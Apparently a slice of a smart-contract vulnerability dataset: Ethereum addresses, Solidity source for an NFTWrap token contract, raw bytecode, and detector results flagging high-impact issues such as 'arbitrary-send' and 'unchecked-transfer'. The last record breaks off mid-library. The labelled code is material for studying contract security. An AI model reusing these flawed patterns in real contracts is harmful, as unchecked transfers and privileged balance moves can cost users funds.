} | 0x6080604052600436106100435760003560e01c80630d4eec8f1461004c5780633afe1f4c1461007d5780638fe21dec14610092578063eb99be12146101e05761004a565b3661004a57005b005b34801561005857600080fd5b506100616101f5565b604080516001600160a01b039092168252519081900360200190f35b34801561008957600080fd5b50610061610219565b610061600480360360e08110156100a857600080fd5b6001600160a01b038235811692602081013590911691604082013591908101906080810160608201356401000000008111156100e357600080fd5b8201836020820111156100f557600080fd5b8035906020019184602083028401116401000000008311171561011757600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929594936020810193503591505064010000000081111561016757600080fd5b82018360208201111561017957600080fd5b8035906020019184602083028401116401000000008311171561019b57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295505050508035151591506020013561023d565b3480156101ec57600080fd5b5061006161058b565b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281565b7f00000000000000000000000078d338f9d54e9e41872e68cb1c01d9499d87ee5281565b6000805460ff1615610282576040805162461bcd60e51b815260206004820152600960248201526814915153951490539560ba1b604482015290519081900360640190fd5b6000805460ff1916600117905581428110156102de576040805162461bcd60e51b81526020600482015260166024820152751113d113d55c10dc141c9bde1e4e881156141254915160521b604482015290519081900360640190fd5b8860006001600160a01b038a1673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee1461030b578961032d565b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc25b90507f00000000000000000000000078d338f9d54e9e41872e68cb1c01d9499d87ee526001600160a01b03166389edcf146040518163ffffffff1660e01b8152600401602060405180830381600087803b15801561038a57600080fd5b505af115801561039e573d6000803e3d6000fd5b505050506040513d60208110156103b457600080fd5b505193506103c63385848c60006105af565b6040516001600160a01b038516903480156108fc02916000818181858888f193505050501580156103fb573d6000803e3d6000fd5b507f00000000000000000000000078d338f9d54e9e41872e68cb1c01d9499d87ee526001600160a01b031663ecfc2db0853385858d8d8d6040518863ffffffff1660e01b815260040180886001600160a01b03166001600160a01b03168152602001876001600160a01b03166001600160a01b03168152602001866001600160a01b03166001600160a01b03168152602001856001600160a01b03166001600160a01b03168152602001806020018060200184151515158152602001838103835286818151815260200191508051906020019060200280838360005b838110156104ef5781810151838201526020016104d7565b50505050905001838103825285818151815260200191508051906020019060200280838360005b8381101561052e578181015183820152602001610516565b505050509050019950505050505050505050600060405180830381600087803b15801561055a57600080fd5b505af115801561056e573d6000803e3d6000fd5b50506000805460ff1916905550939b9a5050505050505050505050565b7f000000000000000000000000335ac99bb3e51bdbf22025f092ebc1cf2c5cc61981565b801561067057811561066b577f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b031663d0e30db0836040518263ffffffff1660e01b81526004016000604051808303818588803b15801561061657600080fd5b505af115801561062a573d6000803e3d6000fd5b505050506001600160a01b0385163014905061066b5761066b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc28584610713565b61070c565b6040805163052f523360e11b81526001600160a01b038581166004830152878116602483015286811660448301526064820185905291517f000000000000000000000000335ac99bb3e51bdbf22025f092ebc1cf2c5cc61990921691630a5ea4669160848082019260009290919082900301818387803b1580156106f357600080fd5b505af1158015610707573d6000803e3d6000fd5b505050505b5050505050565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b17905261076590849061076a565b505050565b60006060836001600160a01b0316836040518082805190602001908083835b602083106107a85780518252601f199092019160209182019101610789565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d806000811461080a576040519150601f19603f3d011682016040523d82523d6000602084013e61080f565b606091505b509150915081610866576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b8051156108bf5780806020019051602081101561088257600080fd5b50516108bf5760405162461bcd60e51b815260040180806020018281038252602a8152602001806108c6602a913960400191505060405180910390fd5b5050505056fe5361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a264697066735822122001ae16f15f059463a3c8bf3c4c34ada56f996e97b529e0655437c11a38f6bf1664736f6c63430006090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,377 |
0x8aab9ba41497504cd55b7d83f673f03e5cdd780e | /*
███╗ ██╗███████╗████████╗
████╗ ██║██╔════╝╚══██╔══╝
██╔██╗ ██║█████╗ ██║
██║╚██╗██║██╔══╝ ██║
██║ ╚████║██║ ██║
██╗ ██╗██████╗ █████╗ ██████╗
██║ ██║██╔══██╗██╔══██╗██╔══██╗
██║ █╗ ██║██████╔╝███████║██████╔╝
██║███╗██║██╔══██╗██╔══██║██╔═══╝
╚███╔███╔╝██║ ██║██║ ██║██║
*/
// SPDX-License-Identifier: MIT
/**
MIT License
Copyright (c) 2020 Openlaw
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
pragma solidity 0.7.4;
interface IERC20 { // brief interface for erc20 token
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
}
interface IERC721transferFrom { // brief interface for erc721 token (nft)
function transferFrom(address from, address to, uint256 tokenId) external;
}
library SafeMath { // arithmetic wrapper for unit under/overflow check
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
}
contract NFTWrap { // multi NFT wrapper adapted from LexToken - https://github.com/lexDAO/LexCorpus/blob/master/contracts/token/lextoken/solidity/LexToken.sol
using SafeMath for uint256;
address payable public manager; // account managing token rules & sale - see 'Manager Functions' - updateable by manager
address public resolver; // account acting as backup for lost token & arbitration of disputed token transfers - updateable by manager
uint8 public decimals; // fixed unit scaling factor - default 18 to match ETH
uint256 public saleRate; // rate of token purchase when sending ETH to contract - e.g., 10 saleRate returns 10 token per 1 ETH - updateable by manager
uint256 public totalSupply; // tracks outstanding token mint - mint updateable by manager
uint256 public totalSupplyCap; // maximum of token mintable
bytes32 public DOMAIN_SEPARATOR; // eip-2612 permit() pattern - hash identifies contract
bytes32 constant public PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); // eip-2612 permit() pattern - hash identifies function for signature
string public details; // details token offering, redemption, etc. - updateable by manager
string public name; // fixed token name
string public symbol; // fixed token symbol
bool public forSale; // status of token sale - e.g., if `false`, ETH sent to token address will not return token per saleRate - updateable by manager
bool private initialized; // internally tracks token deployment under eip-1167 proxy pattern
bool public transferable; // transferability of token - does not affect token sale - updateable by manager
event Approval(address indexed owner, address indexed spender, uint256 value);
event BalanceResolution(string resolution);
event Transfer(address indexed from, address indexed to, uint256 value);
event UpdateGovernance(address indexed manager, address indexed resolver, string details);
event UpdateSale(uint256 saleRate, bool forSale);
event UpdateTransferability(bool transferable);
mapping(address => mapping(address => uint256)) public allowances;
mapping(address => uint256) public balanceOf;
mapping(address => uint256) public nonces;
modifier onlyManager {
require(msg.sender == manager, "!manager");
_;
}
function init(
address payable _manager,
address _resolver,
uint8 _decimals,
uint256 _managerSupply,
uint256 _saleRate,
uint256 _saleSupply,
uint256 _totalSupplyCap,
string calldata _name,
string calldata _symbol,
bool _forSale,
bool _transferable
) external {
require(!initialized, "initialized");
manager = _manager;
resolver = _resolver;
decimals = _decimals;
saleRate = _saleRate;
totalSupplyCap = _totalSupplyCap;
name = _name;
symbol = _symbol;
forSale = _forSale;
initialized = true;
transferable = _transferable;
_mint(_manager, _managerSupply);
_mint(address(this), _saleSupply);
// eip-2612 permit() pattern:
uint256 chainId;
assembly {chainId := chainid()}
DOMAIN_SEPARATOR = keccak256(abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256(bytes("1")),
chainId,
address(this)));
}
receive() external payable { // SALE
require(forSale, "!forSale");
(bool success, ) = manager.call{value: msg.value}("");
require(success, "!ethCall");
_transfer(address(this), msg.sender, msg.value.mul(saleRate));
}
function _approve(address owner, address spender, uint256 value) internal {
allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
function approve(address spender, uint256 value) external returns (bool) {
require(value == 0 || allowances[msg.sender][spender] == 0, "!reset");
_approve(msg.sender, spender, value);
return true;
}
function balanceResolution(address from, address to, uint256 value, string calldata resolution) external { // resolve disputed or lost balances
require(msg.sender == resolver, "!resolver");
_transfer(from, to, value);
emit BalanceResolution(resolution);
}
function burn(uint256 value) external {
balanceOf[msg.sender] = balanceOf[msg.sender].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(msg.sender, address(0), value);
}
// Adapted from https://github.com/albertocuestacanada/ERC20Permit/blob/master/contracts/ERC20Permit.sol
function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external {
require(block.timestamp <= deadline, "expired");
bytes32 hashStruct = keccak256(abi.encode(
PERMIT_TYPEHASH,
owner,
spender,
value,
nonces[owner]++,
deadline));
bytes32 hash = keccak256(abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR,
hashStruct));
address signer = ecrecover(hash, v, r, s);
require(signer != address(0) && signer == owner, "!signer");
_approve(owner, spender, value);
}
function _transfer(address from, address to, uint256 value) internal {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function transfer(address to, uint256 value) external returns (bool) {
require(transferable, "!transferable");
_transfer(msg.sender, to, value);
return true;
}
function transferBatch(address[] calldata to, uint256[] calldata value) external {
require(to.length == value.length, "!to/value");
require(transferable, "!transferable");
for (uint256 i = 0; i < to.length; i++) {
_transfer(msg.sender, to[i], value[i]);
}
}
function transferFrom(address from, address to, uint256 value) external returns (bool) {
require(transferable, "!transferable");
_approve(from, msg.sender, allowances[from][msg.sender].sub(value));
_transfer(from, to, value);
return true;
}
/****************
MANAGER FUNCTIONS
****************/
function _mint(address to, uint256 value) internal {
require(totalSupply.add(value) <= totalSupplyCap, "capped");
balanceOf[to] = balanceOf[to].add(value);
totalSupply = totalSupply.add(value);
emit Transfer(address(0), to, value);
}
function mint(address to, uint256 value) external onlyManager {
_mint(to, value);
}
function mintBatch(address[] calldata to, uint256[] calldata value) external onlyManager {
require(to.length == value.length, "!to/value");
for (uint256 i = 0; i < to.length; i++) {
_mint(to[i], value[i]);
}
}
function updateGovernance(address payable _manager, address _resolver, string calldata _details) external onlyManager {
manager = _manager;
resolver = _resolver;
details = _details;
emit UpdateGovernance(_manager, _resolver, _details);
}
function updateSale(uint256 _saleRate, uint256 _saleSupply, bool _forSale) external onlyManager {
saleRate = _saleRate;
forSale = _forSale;
_mint(address(this), _saleSupply);
emit UpdateSale(_saleRate, _forSale);
}
function updateTransferability(bool _transferable) external onlyManager {
transferable = _transferable;
emit UpdateTransferability(_transferable);
}
function withdrawNFT(address[] calldata nft, address[] calldata withrawTo, uint256[] calldata tokenId) external onlyManager { // withdraw NFT sent to contract
require(nft.length == withrawTo.length && nft.length == tokenId.length, "!nft/withdrawTo/tokenId");
for (uint256 i = 0; i < nft.length; i++) {
IERC721transferFrom(nft[i]).transferFrom(address(this), withrawTo[i], tokenId[i]);
}
}
function withdrawToken(address[] calldata token, address[] calldata withrawTo, uint256[] calldata value, bool max) external onlyManager { // withdraw token sent to contract
require(token.length == withrawTo.length && token.length == value.length, "!token/withdrawTo/value");
for (uint256 i = 0; i < token.length; i++) {
uint256 withdrawalValue = value[i];
if (max) {withdrawalValue = IERC20(token[i]).balanceOf(address(this));}
IERC20(token[i]).transfer(withrawTo[i], withdrawalValue);
}
}
} | 0x6080604052600436106101dc5760003560e01c8063535713251161010257806392ff0d3111610095578063bb102aea11610064578063bb102aea14610aa7578063c26077d014610abc578063d505accf14610bce578063fa93f93914610c2c576102d8565b806392ff0d31146109a957806395d89b41146109be5780639d08303f146109d3578063a9059cbb14610a6e576102d8565b806370a08231116100d157806370a08231146107e45780637c88e3d9146108175780637ecebe00146108e2578063911b728a14610915576102d8565b8063535713251461073057806355b6ed5c14610768578063565974d3146107a357806361d3458f146107b8576102d8565b8063313ce5671161017a57806340c10f191161014957806340c10f19146106a357806342966c68146106dc578063466ccac014610706578063481c6a751461071b576102d8565b8063313ce567146105835780633644e515146105ae5780633b3e672f146105c357806340557cf11461068e576102d8565b806318160ddd116101b657806318160ddd146103e55780631d809a791461040c57806323b872dd1461052b57806330adf81f1461056e576102d8565b806304f3bcec146102dd57806306fdde031461030e578063095ea7b314610398576102d8565b366102d85760095460ff16610223576040805162461bcd60e51b815260206004820152600860248201526721666f7253616c6560c01b604482015290519081900360640190fd5b600080546040516001600160a01b039091169034908381818185875af1925050503d8060008114610270576040519150601f19603f3d011682016040523d82523d6000602084013e610275565b606091505b50509050806102b6576040805162461bcd60e51b815260206004820152600860248201526708595d1a10d85b1b60c21b604482015290519081900360640190fd5b6102d530336102d060025434610d4790919063ffffffff16565b610d77565b50005b600080fd5b3480156102e957600080fd5b506102f2610e25565b604080516001600160a01b039092168252519081900360200190f35b34801561031a57600080fd5b50610323610e34565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561035d578181015183820152602001610345565b50505050905090810190601f16801561038a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103a457600080fd5b506103d1600480360360408110156103bb57600080fd5b506001600160a01b038135169060200135610ec2565b604080519115158252519081900360200190f35b3480156103f157600080fd5b506103fa610f40565b60408051918252519081900360200190f35b34801561041857600080fd5b506105296004803603608081101561042f57600080fd5b810190602081018135600160201b81111561044957600080fd5b82018360208201111561045b57600080fd5b803590602001918460208302840111600160201b8311171561047c57600080fd5b919390929091602081019035600160201b81111561049957600080fd5b8201836020820111156104ab57600080fd5b803590602001918460208302840111600160201b831117156104cc57600080fd5b919390929091602081019035600160201b8111156104e957600080fd5b8201836020820111156104fb57600080fd5b803590602001918460208302840111600160201b8311171561051c57600080fd5b9193509150351515610f46565b005b34801561053757600080fd5b506103d16004803603606081101561054e57600080fd5b506001600160a01b0381358116916020810135909116906040013561117a565b34801561057a57600080fd5b506103fa611219565b34801561058f57600080fd5b5061059861123d565b6040805160ff9092168252519081900360200190f35b3480156105ba57600080fd5b506103fa61124d565b3480156105cf57600080fd5b50610529600480360360408110156105e657600080fd5b810190602081018135600160201b81111561060057600080fd5b82018360208201111561061257600080fd5b803590602001918460208302840111600160201b8311171561063357600080fd5b919390929091602081019035600160201b81111561065057600080fd5b82018360208201111561066257600080fd5b803590602001918460208302840111600160201b8311171561068357600080fd5b509092509050611253565b34801561069a57600080fd5b506103fa611332565b3480156106af57600080fd5b50610529600480360360408110156106c657600080fd5b506001600160a01b038135169060200135611338565b3480156106e857600080fd5b50610529600480360360208110156106ff57600080fd5b5035611390565b34801561071257600080fd5b506103d1611405565b34801561072757600080fd5b506102f261140e565b34801561073c57600080fd5b506105296004803603606081101561075357600080fd5b5080359060208101359060400135151561141d565b34801561077457600080fd5b506103fa6004803603604081101561078b57600080fd5b506001600160a01b03813581169160200135166114c5565b3480156107af57600080fd5b506103236114e2565b3480156107c457600080fd5b50610529600480360360208110156107db57600080fd5b5035151561153d565b3480156107f057600080fd5b506103fa6004803603602081101561080757600080fd5b50356001600160a01b03166115d8565b34801561082357600080fd5b506105296004803603604081101561083a57600080fd5b810190602081018135600160201b81111561085457600080fd5b82018360208201111561086657600080fd5b803590602001918460208302840111600160201b8311171561088757600080fd5b919390929091602081019035600160201b8111156108a457600080fd5b8201836020820111156108b657600080fd5b803590602001918460208302840111600160201b831117156108d757600080fd5b5090925090506115ea565b3480156108ee57600080fd5b506103fa6004803603602081101561090557600080fd5b50356001600160a01b03166116be565b34801561092157600080fd5b506105296004803603606081101561093857600080fd5b6001600160a01b038235811692602081013590911691810190606081016040820135600160201b81111561096b57600080fd5b82018360208201111561097d57600080fd5b803590602001918460018302840111600160201b8311171561099e57600080fd5b5090925090506116d0565b3480156109b557600080fd5b506103d16117d1565b3480156109ca57600080fd5b506103236117e0565b3480156109df57600080fd5b50610529600480360360808110156109f657600080fd5b6001600160a01b03823581169260208101359091169160408201359190810190608081016060820135600160201b811115610a3057600080fd5b820183602082011115610a4257600080fd5b803590602001918460018302840111600160201b83111715610a6357600080fd5b50909250905061183b565b348015610a7a57600080fd5b506103d160048036036040811015610a9157600080fd5b506001600160a01b0381351690602001356118f8565b348015610ab357600080fd5b506103fa611953565b348015610ac857600080fd5b506105296004803603610160811015610ae057600080fd5b6001600160a01b03823581169260208101359091169160ff6040830135169160608101359160808201359160a08101359160c08201359190810190610100810160e0820135600160201b811115610b3657600080fd5b820183602082011115610b4857600080fd5b803590602001918460018302840111600160201b83111715610b6957600080fd5b919390929091602081019035600160201b811115610b8657600080fd5b820183602082011115610b9857600080fd5b803590602001918460018302840111600160201b83111715610bb957600080fd5b91935091508035151590602001351515611959565b348015610bda57600080fd5b50610529600480360360e0811015610bf157600080fd5b506001600160a01b03813581169160208101359091169060408101359060608101359060ff6080820135169060a08101359060c00135611b88565b348015610c3857600080fd5b5061052960048036036060811015610c4f57600080fd5b810190602081018135600160201b811115610c6957600080fd5b820183602082011115610c7b57600080fd5b803590602001918460208302840111600160201b83111715610c9c57600080fd5b919390929091602081019035600160201b811115610cb957600080fd5b820183602082011115610ccb57600080fd5b803590602001918460208302840111600160201b83111715610cec57600080fd5b919390929091602081019035600160201b811115610d0957600080fd5b820183602082011115610d1b57600080fd5b803590602001918460208302840111600160201b83111715610d3c57600080fd5b509092509050611d6c565b600082610d5657506000610d71565b82820282848281610d6357fe5b0414610d6e57600080fd5b90505b92915050565b6001600160a01b0383166000908152600b6020526040902054610d9a9082611efd565b6001600160a01b038085166000908152600b60205260408082209390935590841681522054610dc99082611f12565b6001600160a01b038084166000818152600b602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b6001546001600160a01b031681565b6007805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610eba5780601f10610e8f57610100808354040283529160200191610eba565b820191906000526020600020905b815481529060010190602001808311610e9d57829003601f168201915b505050505081565b6000811580610ef25750336000908152600a602090815260408083206001600160a01b0387168452909152902054155b610f2c576040805162461bcd60e51b8152602060048201526006602482015265085c995cd95d60d21b604482015290519081900360640190fd5b610f37338484611f24565b50600192915050565b60035481565b6000546001600160a01b03163314610f90576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b8584148015610f9e57508582145b610fef576040805162461bcd60e51b815260206004820152601760248201527f21746f6b656e2f7769746864726177546f2f76616c7565000000000000000000604482015290519081900360640190fd5b60005b8681101561117057600084848381811061100857fe5b90506020020135905082156110ae5788888381811061102357fe5b905060200201356001600160a01b03166001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b15801561107f57600080fd5b505afa158015611093573d6000803e3d6000fd5b505050506040513d60208110156110a957600080fd5b505190505b8888838181106110ba57fe5b905060200201356001600160a01b03166001600160a01b031663a9059cbb8888858181106110e457fe5b905060200201356001600160a01b0316836040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b15801561113b57600080fd5b505af115801561114f573d6000803e3d6000fd5b505050506040513d602081101561116557600080fd5b505050600101610ff2565b5050505050505050565b60095460009062010000900460ff166111ca576040805162461bcd60e51b815260206004820152600d60248201526c217472616e7366657261626c6560981b604482015290519081900360640190fd5b6001600160a01b0384166000908152600a60209081526040808320338085529252909120546112049186916111ff9086611efd565b611f24565b61120f848484610d77565b5060019392505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b600154600160a01b900460ff1681565b60055481565b828114611293576040805162461bcd60e51b815260206004820152600960248201526821746f2f76616c756560b81b604482015290519081900360640190fd5b60095462010000900460ff166112e0576040805162461bcd60e51b815260206004820152600d60248201526c217472616e7366657261626c6560981b604482015290519081900360640190fd5b60005b8381101561132b57611323338686848181106112fb57fe5b905060200201356001600160a01b031685858581811061131757fe5b90506020020135610d77565b6001016112e3565b5050505050565b60025481565b6000546001600160a01b03163314611382576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b61138c8282611f86565b5050565b336000908152600b60205260409020546113aa9082611efd565b336000908152600b60205260409020556003546113c79082611efd565b60035560408051828152905160009133917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a350565b60095460ff1681565b6000546001600160a01b031681565b6000546001600160a01b03163314611467576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b60028390556009805460ff19168215151790556114843083611f86565b60408051848152821515602082015281517f97aa7a405c29762bd95d113c625902c62efe61b8341e7c1bed796131464c28c9929181900390910190a1505050565b600a60209081526000928352604080842090915290825290205481565b6006805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610eba5780601f10610e8f57610100808354040283529160200191610eba565b6000546001600160a01b03163314611587576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b6009805482151562010000810262ff0000199092169190911790915560408051918252517f6bac9a12247929d003198785fd8281eecfab25f64a2342832fc7e0fe2a5b99bd9181900360200190a150565b600b6020526000908152604090205481565b6000546001600160a01b03163314611634576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b828114611674576040805162461bcd60e51b815260206004820152600960248201526821746f2f76616c756560b81b604482015290519081900360640190fd5b60005b8381101561132b576116b685858381811061168e57fe5b905060200201356001600160a01b03168484848181106116aa57fe5b90506020020135611f86565b600101611677565b600c6020526000908152604090205481565b6000546001600160a01b0316331461171a576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b600080546001600160a01b038087166001600160a01b031992831617909255600180549286169290911691909117905561175660068383612063565b50826001600160a01b0316846001600160a01b03167fd0b60f2424ea7f9f25a7c3807b8f5dddf838f21392146767ef2b94b7ee05abaa848460405180806020018281038252848482818152602001925080828437600083820152604051601f909101601f19169092018290039550909350505050a350505050565b60095462010000900460ff1681565b6008805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610eba5780601f10610e8f57610100808354040283529160200191610eba565b6001546001600160a01b03163314611886576040805162461bcd60e51b815260206004820152600960248201526810b932b9b7b63b32b960b91b604482015290519081900360640190fd5b611891858585610d77565b7f2300458c226dc8bc320a2de9b3f0bad71b9de712d449c7f114d73884e25b2feb828260405180806020018281038252848482818152602001925080828437600083820152604051601f909101601f19169092018290039550909350505050a15050505050565b60095460009062010000900460ff16611948576040805162461bcd60e51b815260206004820152600d60248201526c217472616e7366657261626c6560981b604482015290519081900360640190fd5b610f37338484610d77565b60045481565b600954610100900460ff16156119a4576040805162461bcd60e51b815260206004820152600b60248201526a1a5b9a5d1a585b1a5e995960aa1b604482015290519081900360640190fd5b8c6000806101000a8154816001600160a01b0302191690836001600160a01b031602179055508b600160006101000a8154816001600160a01b0302191690836001600160a01b031602179055508a600160146101000a81548160ff021916908360ff1602179055508860028190555086600481905550858560079190611a2b929190612063565b50611a3860088585612063565b506009805461010060ff199091168415151761ff0019161762ff000019166201000083151502179055611a6b8d8b611f86565b611a753089611f86565b60004690507f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f60076040518082805460018160011615610100020316600290048015611af85780601f10611ad6576101008083540402835291820191611af8565b820191906000526020600020905b815481529060010190602001808311611ae4575b505060408051918290038220828201825260018352603160f81b602093840152815180840196909652858201527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6606086015260808501959095523060a0808601919091528551808603909101815260c09094019094525050805191012060055550505050505050505050505050565b83421115611bc7576040805162461bcd60e51b8152602060048201526007602482015266195e1c1a5c995960ca1b604482015290519081900360640190fd5b6001600160a01b038088166000818152600c602090815260408083208054600180820190925582517f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98186015280840196909652958c166060860152608085018b905260a085019590955260c08085018a90528151808603909101815260e08501825280519083012060055461190160f01b61010087015261010286015261012280860182905282518087039091018152610142860180845281519185019190912090859052610162860180845281905260ff8a166101828701526101a286018990526101c2860188905291519095919491926101e2808401939192601f1981019281900390910190855afa158015611ce4573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b03811615801590611d1a5750896001600160a01b0316816001600160a01b0316145b611d55576040805162461bcd60e51b815260206004820152600760248201526610b9b4b3b732b960c91b604482015290519081900360640190fd5b611d608a8a8a611f24565b50505050505050505050565b6000546001600160a01b03163314611db6576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b8483148015611dc457508481145b611e15576040805162461bcd60e51b815260206004820152601760248201527f216e66742f7769746864726177546f2f746f6b656e4964000000000000000000604482015290519081900360640190fd5b60005b85811015611ef457868682818110611e2c57fe5b905060200201356001600160a01b03166001600160a01b03166323b872dd30878785818110611e5757fe5b905060200201356001600160a01b0316868686818110611e7357fe5b905060200201356040518463ffffffff1660e01b815260040180846001600160a01b03168152602001836001600160a01b031681526020018281526020019350505050600060405180830381600087803b158015611ed057600080fd5b505af1158015611ee4573d6000803e3d6000fd5b505060019092019150611e189050565b50505050505050565b600082821115611f0c57600080fd5b50900390565b600082820183811015610d6e57600080fd5b6001600160a01b038084166000818152600a6020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b600454600354611f969083611f12565b1115611fd2576040805162461bcd60e51b815260206004820152600660248201526518d85c1c195960d21b604482015290519081900360640190fd5b6001600160a01b0382166000908152600b6020526040902054611ff59082611f12565b6001600160a01b0383166000908152600b602052604090205560035461201b9082611f12565b6003556040805182815290516001600160a01b038416916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b828054600181600116156101000203166002900490600052602060002090601f01602090048101928261209957600085556120df565b82601f106120b25782800160ff198235161785556120df565b828001600101855582156120df579182015b828111156120df5782358255916020019190600101906120c4565b506120eb9291506120ef565b5090565b5b808211156120eb57600081556001016120f056fea264697066735822122047d51e7d32d79bfafe47964c0e76e0079f6a198ec4498b64be56c32b74c81ea464736f6c63430007040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}} | 10,378 |
0xa8079ed18a9a3795f7ce5d31bef4f19b4c025075 | pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
